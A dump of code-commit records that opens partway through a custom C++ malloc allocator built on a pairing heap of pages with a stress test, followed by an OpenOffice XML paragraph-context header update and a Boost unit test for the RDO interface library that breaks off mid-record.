xrand()\n{\n\tstatic int32_t m_w = 1246987127, m_z = 789456123;\n\tm_z = 36969 * (m_z & 65535) + (m_z >> 16);\n\tm_w = 18000 * (m_w & 65535) + (m_w >> 16);\n\treturn (m_z << 16) + m_w; \/* 32-bit result *\/\n}\n\nconst size_t DELAY = 10;\nconst size_t NTESTS = 100000;\nconst size_t MAXALLOC = 512;\n\nint main()\n{\n\tvoid* ptrs[DELAY] = {0};\n\tfor (size_t i = 0; i < NTESTS; i++)\n\t{\n\t\tsize_t size = i % MAXALLOC;\n\t\tvoid** p = ptrs + (i % DELAY);\n\t\tdebug(\"free(%p)\\n\", *p);\n\t\tfree(*p);\n\t\tdebug(\"malloc(%lu)\\n\", (unsigned long)size);\n\t\t*p = malloc(size);\n\t\tdebug(\"malloc(%lu): %p\\n\", (unsigned long)size, *p);\n\t\tfor (size_t j = 0; j < DELAY; j++)\n\t\t{\n\t\t\tassert(ptrs + j == p || !p[0] || ptrs[j] != p[0]);\n\t\t}\n\t}\n}\n#endif\n<commit_msg>Debugging the page_free_chunk function<commit_after>#include <dlfcn.h>\n#include <errno.h>\n#include <fcntl.h>\n#include <inttypes.h>\n#include <stddef.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <sys\/mman.h>\n#include <sys\/stat.h>\n#include <sys\/types.h>\n#include <unistd.h>\n\nvoid init() __attribute__((constructor));\nvoid fini() __attribute__((destructor));\n\nstatic void panic(...) __attribute__((noreturn));\n\n#ifdef DEBUG\n#define debug printf\n#define assert xassert\n#define xassert(e) if (e); else panic(#e)\n#define IFDEBUG(X) X\n#else\n#define debug(...) (void)0\n#define assert(...) (void)0\n#define IFDEBUG(X) \/* nothing *\/\n#endif\n\n#define likely(x) __builtin_expect(!!(x), 1)\n#define unlikely(x) __builtin_expect(!!(x), 0)\n\n\/**\n * These are adapted to be stored internally in whatever data we have.\n *\/\nstruct pairing_ptr_heap\n{\n\ttypedef pairing_ptr_heap T;\n\ttypedef pairing_ptr_heap* Tp;\n\n\t\/**\n\t * down,right: first child and right sibling of this page in pairing heap\n\t * of pages with free space.\n\t *\/\n\tpairing_ptr_heap* down;\n\tpairing_ptr_heap* right;\n\n\tTp delete_min()\n\t{\n\t\tassert(!right);\n\t\tTp l = down;\n\t\tdown = NULL;\n\t\treturn mergePairs(l);\n\t}\n\n\tstatic Tp mergePairs(Tp l)\n\t{\n\t\tif (!l || !l->right) return l;\n\n\t\tTp r = l->right;\n\t\tTp hs = r->right;\n\t\tl->right = r->right = NULL;\n\t\tassert(hs != l && hs != r && r != l);\n\t\t\/\/ FIXME recursion...\n\t\t\/\/ We can use l->right after merge returns, since merge() always\n\t\t\/\/ returns something with a right-value of NULL. l will never be\n\t\t\/\/ touched until we're about to merge it with the result of mergePairs\n\t\tl = merge(l,r);\n\t\ths = mergePairs(hs);\n\t\treturn merge(l,hs);\n\t}\n\n\tstatic Tp merge(Tp l, Tp r)\n\t{\n\t\tif (!l)\n\t\t{\n\t\t\tassert(!r->right);\n\t\t\treturn r;\n\t\t}\n\t\tif (!r)\n\t\t{\n\t\t\tassert(!l->right);\n\t\t\treturn l;\n\t\t}\n\n\t\tassert(!l->right && !r->right);\n\n\t\tif (r < l)\n\t\t{\n\t\t\tTp tmp = r;\n\t\t\tr = l;\n\t\t\tl = tmp;\n\t\t}\n\t\t\/\/ l <= r!\n\n\t\tr->right = l->down;\n\t\tl->down = r;\n\t\t\/\/l->right = NULL; \/\/ we know it's already null\n\t\treturn l;\n\t}\n};\nstatic pairing_ptr_heap* delete_min(pairing_ptr_heap* p)\n{\n\tassert(p);\n\treturn p->delete_min();\n}\nstatic pairing_ptr_heap* insert(pairing_ptr_heap* l, pairing_ptr_heap* r)\n{\n\treturn pairing_ptr_heap::merge(l, r);\n}\n\nstruct pageinfo\n{\n\t\/**\n\t * Pointer to where the page starts.\n\t * TODO: Pack some stuff in here. *Twelve* vacant bits!\n\t *\/\n\tvoid* page;\n\n\t\/**\n\t * The heap of address-sorted pages in this category that have free pages\n\t *\/\n\tpairing_ptr_heap heap;\n\n\tuint16_t size;\n\t\/\/uint16_t isize;\n\tuint16_t chunks;\n\tuint16_t chunks_free;\n\tuint8_t index; \/\/ index into array of pages\n\n\t\/**\n\t * 1-32 bytes of bitmap data. A set bit means *free* chunk.\n\t *\/\n\tuint8_t bitmap[];\n\n\t\/\/ TODO merge bitmap into page?\n};\n#define pageinfo_from_heap(heap_) \\\n\t((pageinfo*)((char*)(heap_) - offsetof(pageinfo, heap)))\n\nstatic bool page_filled(pageinfo* page)\n{\n\treturn !page->chunks_free;\n}\nstatic void* page_get_chunk(pageinfo* page)\n{\n\tpage->chunks_free--;\n\tuint8_t* bitmap = page->bitmap;\n\tfor (size_t i = 0; i < page->chunks \/ 8; i++)\n\t{\n\t\tconst uint8_t found = bitmap[i];\n\t\tif (found)\n\t\t{\n\t\t\tuint8_t mask = 0x80;\n\t\t\tsize_t n = i << 3;\n\t\t\twhile (mask)\n\t\t\t{\n\t\t\t\tif (mask & found)\n\t\t\t\t{\n\t\t\t\t\tbitmap[i] = found & ~mask;\n\t\t\t\t\treturn (uint8_t*)page->page + (n * page->size);\n\t\t\t\t}\n\t\t\t\tmask >>= 1;\n\t\t\t\tn++;\n\t\t\t}\n\t\t}\n\t}\n\tpanic(\"No free chunks found?\");\n}\nstatic void page_free_chunk(pageinfo* page, void* ptr)\n{\n\tsize_t offset_in_page = (uint8_t*)ptr - (uint8_t*)page->page;\n\tsize_t ix = offset_in_page;\n\tix \/= page->size; \/\/ FIXME store inverse or something instead\n\tuint8_t mask = 1 << (7 - (ix & 7));\n\tsize_t byte = ix >> 3;\n\tdebug(\"Freeing %p in %p (size %d): oring byte %d with %#x\\n\", ptr, page->page, page->size, byte, mask);\n\tpage->bitmap[byte] |= mask;\n\tpage->chunks_free++;\n}\n\n#define N_SIZES (128\/16+5)\n#define PAGE_SHIFT 12\n#define PAGE_SIZE (1 << PAGE_SHIFT)\n\nstatic pairing_ptr_heap* g_free_pages;\nstatic pageinfo* g_chunk_pages[N_SIZES];\nstatic uintptr_t g_first_page;\nstatic uintptr_t g_n_pages;\n\/\/ Assumes mostly contiguous pages...\nstatic pageinfo** g_pages;\n\nvoid init()\n{\n\tg_first_page = (uintptr_t)sbrk(0);\n}\n\nvoid fini()\n{\n\t\/\/ TODO Unmap everything?\n}\n\nstatic void panic(...)\n{\n\tabort();\n}\n\nstatic size_t size_ix(size_t size)\n{\n\tif (size <= 128)\n\t\treturn (size + 15) \/ 16 - 1;\n\n\tsize_t ix = 8; \/\/ 256 bytes\n\tsize >>= 8;\n\twhile (size) { size >>= 1; ix++; }\n\treturn ix;\n}\n\nstatic size_t ix_size(size_t ix)\n{\n\treturn ix < 8 ? 16 * (ix + 1) : (1 << ix);\n}\n\nstatic void* get_page()\n{\n\tif (void* ret = g_free_pages)\n\t{\n\t\tg_free_pages = delete_min(g_free_pages);\n\t\treturn ret;\n\t}\n\telse\n\t{\n\t\tuintptr_t cur = (uintptr_t)sbrk(0);\n\t\tsbrk((PAGE_SIZE - cur) & (PAGE_SIZE - 1));\n\t\treturn sbrk(PAGE_SIZE);\n\t}\n}\n\nstatic void set_pageinfo(void* page, pageinfo* info)\n{\n\tuintptr_t offset;\n\tif (g_pages)\n\t{\n\t\toffset = ((uintptr_t)page - g_first_page) >> PAGE_SHIFT;\n\t}\n\telse\n\t{\n\t\tg_first_page = (uintptr_t)page;\n\t\toffset = 0;\n\t}\n\n\tif (offset >= g_n_pages)\n\t{\n\t\tsize_t required = (offset + PAGE_SIZE) & ~(PAGE_SIZE-1);\n\t\tpageinfo** new_pages = (pageinfo**)mmap(NULL, required, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);\n\t\tassert(new_pages != MAP_FAILED);\n\n\t\tmemcpy(new_pages, g_pages, g_n_pages * sizeof(pageinfo*));\n\t\tmunmap(g_pages, g_n_pages * sizeof(pageinfo*));\n\n\t\tg_pages = new_pages;\n\t\tg_n_pages = required \/ sizeof(pageinfo*);\n\t}\n\n\tg_pages[offset] = info;\n}\n\nstatic pageinfo* new_chunkpage(size_t size)\n{\n\tsize_t ix = size_ix(size);\n\tsize = ix_size(ix);\n\n\tsize_t nchunks = 4096\/size;\n\tpageinfo* ret = NULL;\n\tsize_t pisize = sizeof(pageinfo) + nchunks\/8;\n\tif (!g_chunk_pages[size_ix(pisize)])\n\t{\n\t\tret = (pageinfo*)get_page();\n\t\tset_pageinfo(ret, NULL);\n\t}\n\telse\n\t{\n\t\tret = (pageinfo*)malloc(pisize);\n\t}\n\n\tmemset(&ret->heap, 0, sizeof(ret->heap));\n\tret->page = get_page();\n\tret->size = size;\n\/\/\tret->shift = ix_shift(ix);\n\tret->chunks = nchunks;\n\tret->chunks_free = nchunks;\n\tret->index = ix;\n\n\tmemset(ret->bitmap, 0xff, nchunks\/8);\n\n\tset_pageinfo(ret->page, ret);\n\n\treturn ret;\n}\n\nstatic pageinfo* ptr_pageinfo(void* ptr)\n{\n\tuintptr_t offset = ((uintptr_t)ptr - g_first_page) >> PAGE_SHIFT;\n\tif (offset > g_n_pages) return NULL;\n\tpageinfo* ret = g_pages[offset];\n\tassert(!ret || !(((uintptr_t)ret->page ^ (uintptr_t)ptr) >> PAGE_SHIFT));\n\treturn ret;\n}\n\nstatic size_t get_alloc_size(void* ptr)\n{\n\tpageinfo* info = ptr_pageinfo(ptr);\n\tif (!info) panic(\"get_alloc_size for unknown pointer %p\", ptr);\n\treturn info->size;\n}\n\nvoid *malloc(size_t size)\n{\n\tif (!size) return NULL;\n\n\tpageinfo** pagep = g_chunk_pages + size_ix(size);\n\tpageinfo* page = *pagep;\n\tif (unlikely(!page))\n\t{\n\t\tdebug(\"Adding new chunk page for size %lu (cat %ld)\\n\", size, size_ix(size));\n\t\tpage = new_chunkpage(size);\n\t\t*pagep = page;\n\t}\n\tdebug(\"Allocating chunk from %p (info %p, %d left)\\n\", page->page, page, page->chunks_free);\n\tvoid* ret = page_get_chunk(page);\n\tif (unlikely(page_filled(page)))\n\t{\n\t\tdebug(\"Page %p (info %p) filled\\n\", page->page, page);\n\t\tpairing_ptr_heap* newpage = delete_min(&page->heap);\n\t\t*pagep = newpage ? pageinfo_from_heap(newpage) : NULL;\n\t}\n\treturn ret;\n}\n\nvoid* calloc(size_t n, size_t sz)\n{\n\tsize_t size = n * sz;\n\tvoid* ptr = malloc(size);\n\tif (likely(ptr)) memset(ptr, 0, size);\n\treturn ptr;\n}\n\nvoid* realloc(void* ptr, size_t new_size)\n{\n\tsize_t old_size = get_alloc_size(ptr);\n\tvoid* ret = malloc(new_size);\n\tif (likely(ret))\n\t{\n\t\tmemcpy(ret, ptr, unlikely(new_size < old_size) ? new_size : old_size);\n\t}\n\treturn ret;\n}\n\nvoid free(void *ptr)\n{\n\tif (unlikely(!ptr)) return;\n\n\tpageinfo* page = ptr_pageinfo(ptr);\n\tif (unlikely(!page)) panic(\"free on unknown pointer %p\", ptr);\n\n\tbool was_filled = page_filled(page);\n\tpage_free_chunk(page, ptr);\n\tif (was_filled)\n\t{\n\t\tpageinfo** pagep = g_chunk_pages + page->index;\n\t\tpageinfo* free_page = *pagep;\n\t\tif (!free_page)\n\t\t\t*pagep = page;\n\t\telse\n\t\t\t*pagep = pageinfo_from_heap(insert(&free_page->heap, &page->heap));\n\t}\n\telse if (unlikely(page->chunks_free == page->chunks))\n\t{\n\t\tdebug(\"Free: page %p (info %p) is now free\\n\", page->page, page);\n\t}\n}\n\n#ifdef TEST\n\nstatic int32_t xrand()\n{\n\tstatic int32_t m_w = 1246987127, m_z = 789456123;\n\tm_z = 36969 * (m_z & 65535) + (m_z >> 16);\n\tm_w = 18000 * (m_w & 65535) + (m_w >> 16);\n\treturn (m_z << 16) + m_w; \/* 32-bit result *\/\n}\n\nconst size_t DELAY = 10;\nconst size_t NTESTS = 100000;\nconst size_t MAXALLOC = 512;\n\nint main()\n{\n\tvoid* ptrs[DELAY] = {0};\n\tfor (size_t i = 0; i < NTESTS; i++)\n\t{\n\t\tsize_t size = i % MAXALLOC;\n\t\tvoid** p = ptrs + (i % DELAY);\n\t\tdebug(\"free(%p)\\n\", *p);\n\t\tfree(*p);\n\t\tdebug(\"malloc(%lu)\\n\", (unsigned long)size);\n\t\t*p = malloc(size);\n\t\tdebug(\"malloc(%lu): %p\\n\", (unsigned long)size, *p);\n\t\tfor (size_t j = 0; j < DELAY; j++)\n\t\t{\n\t\t\tassert(ptrs + j == p || !p[0] || ptrs[j] != p[0]);\n\t\t}\n\t}\n}\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: txtparai.hxx,v $\n *\n * $Revision: 1.6 $\n *\n * last change: $Author: rt $ $Date: 2005-09-09 15:31:48 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n#ifndef _XMLOFF_TEXTPARAI_HXX_\n#define _XMLOFF_TEXTPARAI_HXX_\n\n\n#ifndef _COM_SUN_STAR_UNO_REFERENCE_H_\n#include <com\/sun\/star\/uno\/Reference.h>\n#endif\n\n#ifndef _XMLOFF_XMLICTXT_HXX\n#include \"xmlictxt.hxx\"\n#endif\n\nclass XMLHints_Impl;\nnamespace com { namespace sun { namespace star {\nnamespace text { class XTextRange; }\nnamespace xml { namespace sax { class XAttributeList; } }\n} } }\n\n#ifdef CONV_STAR_FONTS\n#define CONV_FROM_STAR_BATS 1\n#define CONV_FROM_STAR_MATH 2\n#define CONV_STAR_FONT_FLAGS_VALID 4\n#endif\n\nclass XMLParaContext : public SvXMLImportContext\n{\n ::com::sun::star::uno::Reference <\n ::com::sun::star::text::XTextRange > xStart; \/\/ xub_StrLen nStart;\n ::rtl::OUString sStyleName;\n ::rtl::OUString sId;\n sal_Int8 nOutlineLevel;\n XMLHints_Impl *pHints;\n sal_Bool bIgnoreLeadingSpace;\n sal_Bool bHeading;\n sal_Bool bIsListHeader;\n#ifdef CONV_STAR_FONTS\n sal_uInt8 nStarFontsConvFlags;\n#endif\n\npublic:\n\n TYPEINFO();\n\n XMLParaContext( SvXMLImport& rImport,\n sal_uInt16 nPrfx,\n const ::rtl::OUString& rLName,\n const ::com::sun::star::uno::Reference<\n ::com::sun::star::xml::sax::XAttributeList > & xAttrList,\n sal_Bool bHeading );\n\n virtual ~XMLParaContext();\n\n virtual SvXMLImportContext *CreateChildContext( sal_uInt16 nPrefix,\n const ::rtl::OUString& rLocalName,\n const ::com::sun::star::uno::Reference<\n ::com::sun::star::xml::sax::XAttributeList > & xAttrList );\n\n virtual void Characters( const ::rtl::OUString& rChars );\n\n};\n\n\n#endif\n<commit_msg>INTEGRATION: CWS swnumtree (1.6.2); FILE MERGED 2005\/09\/27 15:30:25 hbrinkm 1.6.2.1: #i45784# ~XMLParaContext: import restart of numbering in headers<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: txtparai.hxx,v $\n *\n * $Revision: 1.7 $\n *\n * last change: $Author: rt $ $Date: 2005-11-08 17:06:34 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n#ifndef _XMLOFF_TEXTPARAI_HXX_\n#define _XMLOFF_TEXTPARAI_HXX_\n\n\n#ifndef _COM_SUN_STAR_UNO_REFERENCE_H_\n#include <com\/sun\/star\/uno\/Reference.h>\n#endif\n\n#ifndef _XMLOFF_XMLICTXT_HXX\n#include \"xmlictxt.hxx\"\n#endif\n\nclass XMLHints_Impl;\nnamespace com { namespace sun { namespace star {\nnamespace text { class XTextRange; }\nnamespace xml { namespace sax { class XAttributeList; } }\n} } }\n\n#ifdef CONV_STAR_FONTS\n#define CONV_FROM_STAR_BATS 1\n#define CONV_FROM_STAR_MATH 2\n#define CONV_STAR_FONT_FLAGS_VALID 4\n#endif\n\nclass XMLParaContext : public SvXMLImportContext\n{\n ::com::sun::star::uno::Reference <\n ::com::sun::star::text::XTextRange > xStart; \/\/ xub_StrLen nStart;\n ::rtl::OUString sStyleName;\n ::rtl::OUString sId;\n sal_Int8 nOutlineLevel;\n XMLHints_Impl *pHints;\n sal_Bool bIgnoreLeadingSpace;\n sal_Bool bHeading;\n sal_Bool bIsListHeader;\n sal_Bool bIsRestart;\n sal_Int16 nStartValue;\n#ifdef CONV_STAR_FONTS\n sal_uInt8 nStarFontsConvFlags;\n#endif\n\npublic:\n\n TYPEINFO();\n\n XMLParaContext( SvXMLImport& rImport,\n sal_uInt16 nPrfx,\n const ::rtl::OUString& rLName,\n const ::com::sun::star::uno::Reference<\n ::com::sun::star::xml::sax::XAttributeList > & xAttrList,\n sal_Bool bHeading );\n\n virtual ~XMLParaContext();\n\n virtual SvXMLImportContext *CreateChildContext( sal_uInt16 nPrefix,\n const ::rtl::OUString& rLocalName,\n const ::com::sun::star::uno::Reference<\n ::com::sun::star::xml::sax::XAttributeList > & xAttrList );\n\n virtual void Characters( const ::rtl::OUString& rChars );\n\n};\n\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/*\r\n * copyright: (c) RDO-Team, 2011\r\n * filename : main.cpp\r\n * author : , Evgeny Proydakov\r\n * date : 07.07.2009\r\n * bref : \r\n * indent : 4T\r\n *\/\r\n \r\n\/\/ ====================================================================== PCH\r\n\/\/ ====================================================================== INCLUDES\r\n#include <vector>\r\n#include <list>\r\n#include <iostream>\r\n#define BOOST_TEST_MODULE RdoInterfaceTest\r\n#include <boost\/test\/included\/unit_test.hpp>\r\n\/\/ ====================================================================== SYNOPSIS\r\n#include \"rdo_common\/rdointerface.h\"\r\n\/\/ ===============================================================================\r\n\r\n#define DISABLE_CONSOLE_OUTPUT\r\n\r\nconst tstring strIMy1 = _T(\"void fun1(): \");\r\nconst tstring strIMy2 = _T(\"void fun2(): \");\r\nconst tstring strIMy3 = _T(\"void fun3(): \");\r\nconst tstring strMyClass1Create = _T(\"MyClass1():\" );\r\nconst tstring strMyClass1Destroy = _T(\"~MyClass1():\" );\r\nconst tstring strMyClass2Create = _T(\"MyClass2():\" );\r\nconst tstring strMyClass2Destroy = _T(\"~MyClass2():\" );\r\nconst tstring strMyClass3Create = _T(\"MyClass3():\" );\r\nconst tstring strMyClass3Destroy = _T(\"~MyClass3():\" );\r\n\r\ntypedef std::list<tstring> LogList;\r\nLogList s_logList;\r\n\r\nclass IMy1\r\n{\r\npublic:\r\n\tvirtual tstring fun1() = 0;\r\n};\r\n\r\nclass IMy2\r\n{\r\npublic:\r\n\tvirtual tstring fun2() = 0;\r\n};\r\n\r\nclass IMy3\r\n{\r\npublic:\r\n\tvirtual tstring fun3() = 0;\r\n};\r\n\r\nclass IMy4\r\n{\r\npublic:\r\n\tvirtual tstring fun4() = 0;\r\n};\r\n\r\nINTERFACE_REGISTRATOR(IMy1, 1);\r\nINTERFACE_REGISTRATOR(IMy2, 2);\r\nINTERFACE_REGISTRATOR(IMy3, 3);\r\nINTERFACE_REGISTRATOR(IMy4, 4);\r\n\r\nclass MyClass1: public rdo::IGetUnknown, public IMy1, public IMy2, public IInit\r\n{\r\nQUERY_INTERFACE_BEGIN\r\n\tQUERY_INTERFACE(IMy1)\r\n\tQUERY_INTERFACE(IMy2)\r\n\tQUERY_INTERFACE(IInit)\r\nQUERY_INTERFACE_END\r\n\r\nprotected:\r\n\tMyClass1(char i)\r\n\t\t: m_i(i)\r\n\t{\r\n#ifndef DISABLE_CONSOLE_OUTPUT\r\n\t\tstd::cout << strMyClass1Create << i << std::endl;\r\n#endif\r\n\t\ts_logList.push_back(strMyClass1Create + i);\r\n\t}\r\n\t~MyClass1()\r\n\t{\r\n#ifndef DISABLE_CONSOLE_OUTPUT\r\n\t\tstd::cout << strMyClass1Destroy << m_i << std::endl;\r\n#endif\r\n\t\ts_logList.push_back(strMyClass1Destroy);\r\n\t}\r\n\trbool init()\r\n\t{\r\n\t\treturn true;\r\n\t}\r\n\r\nprotected:\r\n\tchar m_i;\r\n\r\nprivate:\r\n\ttstring fun1()\r\n\t{\r\n#ifndef DISABLE_CONSOLE_OUTPUT\r\n\t\tstd::cout << strIMy1 << m_i << std::endl;\r\n#endif\r\n\t\treturn strIMy1 + m_i;\r\n\t}\r\n\ttstring fun2()\r\n\t{\r\n#ifndef DISABLE_CONSOLE_OUTPUT\r\n\t\tstd::cout << strIMy2 << m_i << std::endl;\r\n#endif\r\n\t\treturn strIMy2 + m_i;\r\n\t}\r\n};\r\n\r\nclass MyClass2: public MyClass1, public IMy3\r\n{\r\nDEFINE_IFACTORY(MyClass2);\r\nQUERY_INTERFACE_BEGIN\r\n\tQUERY_INTERFACE_PARENT(MyClass1)\r\n\tQUERY_INTERFACE(IMy3)\r\nQUERY_INTERFACE_END\r\n\r\nprivate:\r\n\tMyClass2(char i)\r\n\t\t: MyClass1(i)\r\n\t{\r\n#ifndef DISABLE_CONSOLE_OUTPUT\r\n\t\tstd::cout << strMyClass2Create << i << std::endl;\r\n#endif\r\n\t\ts_logList.push_back(strMyClass2Create + i);\r\n\t}\r\n\t~MyClass2()\r\n\t{\r\n#ifndef DISABLE_CONSOLE_OUTPUT\r\n\t\tstd::cout << strMyClass2Destroy << m_i << std::endl;\r\n#endif\r\n\t\ts_logList.push_back(strMyClass2Destroy);\r\n\t}\r\n\ttstring fun3()\r\n\t{\r\n\t\tASSERT(this);\r\n\t\tLPIMy1 int1 = this;\r\n\t\tASSERT(int1)\r\n\r\n#ifndef DISABLE_CONSOLE_OUTPUT\r\n\t\tstd::cout << strIMy3 << m_i << std::endl;\r\n#endif\r\n\t\treturn strIMy3 + m_i;\r\n\t}\r\n};\r\n\r\nclass MyClass3: public IMy3, public rdo::IGetUnknown\r\n{\r\nDEFINE_IFACTORY(MyClass3);\r\nQUERY_INTERFACE_BEGIN\r\n\tQUERY_INTERFACE(IMy3)\r\nQUERY_INTERFACE_END\r\n\r\nprotected:\r\n\tMyClass3(char i)\r\n\t\t: m_i(i)\r\n\t{\r\n#ifndef DISABLE_CONSOLE_OUTPUT\r\n\t\tstd::cout << strMyClass3Create << i << std::endl;\r\n#endif\r\n\t\ts_logList.push_back(strMyClass3Create + i);\r\n\t}\r\n\t~MyClass3()\r\n\t{\r\n#ifndef DISABLE_CONSOLE_OUTPUT\r\n\t\tstd::cout << strMyClass3Destroy << m_i << std::endl;\r\n#endif\r\n\t\ts_logList.push_back(strMyClass3Destroy);\r\n\t}\r\n\r\nprotected:\r\n\tchar m_i;\r\n\r\nprivate:\r\n\ttstring fun3()\r\n\t{\r\n#ifndef DISABLE_CONSOLE_OUTPUT\r\n\t\tstd::cout << strIMy3 << m_i << std::endl;\r\n#endif\r\n\t\treturn strIMy3 + m_i;\r\n\t}\r\n};\r\n\r\ntypedef rdo::Interface<IMy3> MyInterface;\r\ntypedef std::vector<MyInterface> MyInterfaceList;\r\n\r\nBOOST_AUTO_TEST_SUITE(RdoInterfaceTest)\r\n\r\nBOOST_AUTO_TEST_CASE(RdoInterfaceTest_CheckingOnTheSameOperator)\r\n{\r\n\tchar initValue = _T('2');\r\n\trdo::UnknownPointer smptr = F(MyClass2)::create(initValue);\r\n\tBOOST_REQUIRE(smptr);\r\n\r\n\tLogList::iterator it = s_logList.begin();\r\n\tBOOST_CHECK_EQUAL(*it, strMyClass1Create + initValue);\r\n\tBOOST_CHECK_EQUAL(*(++it), strMyClass2Create + initValue);\r\n\ts_logList.clear();\r\n\r\n\tBOOST_CHECK_EQUAL(smptr.query_cast<IMy1>()->fun1(), strIMy1 + initValue);\r\n\tBOOST_CHECK_EQUAL(smptr.query_cast<IMy3>()->fun3(), strIMy3 + initValue);\r\n\r\n\tMyInterface imy3 = smptr;\r\n\r\n\tinitValue = _T('7');\r\n\r\n\trdo::UnknownPointer smptr2;\r\n\tsmptr2 = F(MyClass2)::create(initValue);\r\n\tit = s_logList.begin();\r\n\tBOOST_CHECK_EQUAL(*it, strMyClass1Create + initValue);\r\n\tBOOST_CHECK_EQUAL(*(++it), strMyClass2Create + initValue);\r\n\ts_logList.clear();\r\n\r\n\trdo::UnknownPointer smptr2_2 = smptr2;\r\n\t\/\/BOOST_CHECK(smptr2_2 == smptr);\r\n\t\/\/BOOST_CHECK_EQUAL(smptr2_2, smptr);\r\n\tBOOST_CHECK(smptr2_2 == smptr2);\r\n\r\n\trdo::Interface<IMy1> int1_1 = smptr;\r\n\trdo::Interface<IMy1> int2_1 = smptr2;\r\n\trdo::Interface<IMy1> int1_2 = smptr;\r\n\t\/\/BOOST_CHECK(int1_1 == int2_1);\r\n\t\/\/BOOST_CHECK_EQUAL(int1_1, int2_1);\r\n\tBOOST_CHECK(int1_1 == int1_2);\r\n}\r\n\r\nBOOST_AUTO_TEST_CASE(RdoInterfaceTest_ValidationFailureInThePreviousTest1)\r\n{\r\n\tLogList::iterator it = s_logList.begin();\r\n\tBOOST_CHECK_EQUAL(*it, strMyClass2Destroy);\r\n\t++it;\r\n\tBOOST_CHECK_EQUAL(*it, strMyClass1Destroy);\r\n\t++it;\r\n\tBOOST_CHECK_EQUAL(*it, strMyClass2Destroy);\r\n\t++it;\r\n\tBOOST_CHECK_EQUAL(*it, strMyClass1Destroy);\r\n\ts_logList.clear();\r\n}\r\n\r\nBOOST_AUTO_TEST_CASE(RdoInterfaceTest_Working)\r\n{\r\n\tchar initFValue = _T('2');\r\n\trdo::UnknownPointer smptr = F(MyClass2)::create(initFValue);\r\n\tLogList::iterator iter = s_logList.begin();\r\n\tBOOST_CHECK_EQUAL(*iter, strMyClass1Create + initFValue);\r\n\tBOOST_CHECK_EQUAL(*(++iter), strMyClass2Create + initFValue);\r\n\ts_logList.clear();\r\n\r\n\tchar initSValue = _T('5');\r\n\trdo::UnknownPointer smptr2 = F(MyClass2)::create(initSValue);\r\n\titer = s_logList.begin();\r\n\tBOOST_CHECK_EQUAL(*iter, strMyClass1Create + initSValue);\r\n\tBOOST_CHECK_EQUAL(*(++iter), strMyClass2Create + initSValue);\r\n\ts_logList.clear();\r\n\r\n\tMyInterfaceList myInterfaceList;\r\n\r\n\tchar initTValue = _T('9');\r\n\tmyInterfaceList.push_back(F(MyClass3)::create(initTValue));\r\n\tmyInterfaceList.push_back(smptr );\r\n\tmyInterfaceList.push_back(smptr2);\r\n\t\r\n\tchar symbolT = _T('0');\r\n\r\n\tSTL_FOR_ALL_CONST(myInterfaceList, it)\r\n\t{\r\n\t\trdo::Interface<IMy1> ptr1;\r\n\t\tptr1 = *it;\r\n\t\tif (ptr1)\r\n\t\t{\r\n\t\t\tsymbolT = (*it == smptr ? initFValue : (*it == smptr2 ? initSValue : initTValue));\r\n\t\t\tBOOST_CHECK_EQUAL(ptr1->fun1(), strIMy1 + symbolT);\r\n\t\t}\r\n\r\n\t\trdo::Interface<IMy2> ptr2 = *it;\r\n\t\tif (ptr2)\r\n\t\t{\r\n\t\t\tsymbolT = (*it == smptr ? initFValue : (*it == smptr2 ? initSValue : initTValue));\r\n\t\t\tBOOST_CHECK_EQUAL(ptr2->fun2(), strIMy2 + symbolT);\r\n\t\t}\r\n\r\n\t\trdo::Interface<IMy3> ptr3 = *it;\r\n\t\tif (ptr3)\r\n\t\t{\r\n\t\t\tsymbolT = (*it == smptr ? initFValue : (*it == smptr2 ? initSValue : initTValue));\r\n\t\t\tBOOST_CHECK_EQUAL(ptr3->fun3(), strIMy3 + symbolT);\r\n\t\t}\r\n\t}\r\n\ts_logList.clear();\r\n}\r\n\r\nBOOST_AUTO_TEST_CASE(RdoInterfaceTest_ValidationFailureInThePreviousTest2)\r\n{\r\n\tLogList::iterator it = s_logList.begin();\r\n\tBOOST_CHECK_EQUAL(*it, strMyClass3Destroy);\r\n\t++it;\r\n\tBOOST_CHECK_EQUAL(*it, strMyClass2Destroy);\r\n\t++it;\r\n\tBOOST_CHECK_EQUAL(*it, strMyClass1Destroy);\r\n\t++it;\r\n\tBOOST_CHECK_EQUAL(*it, strMyClass2Destroy);\r\n\t++it;\r\n\tBOOST_CHECK_EQUAL(*it, strMyClass1Destroy);\r\n\ts_logList.clear();\r\n}\r\n\r\nBOOST_AUTO_TEST_SUITE_END()\r\n<commit_msg> - значения как в старом тесте<commit_after>\/*\r\n * copyright: (c) RDO-Team, 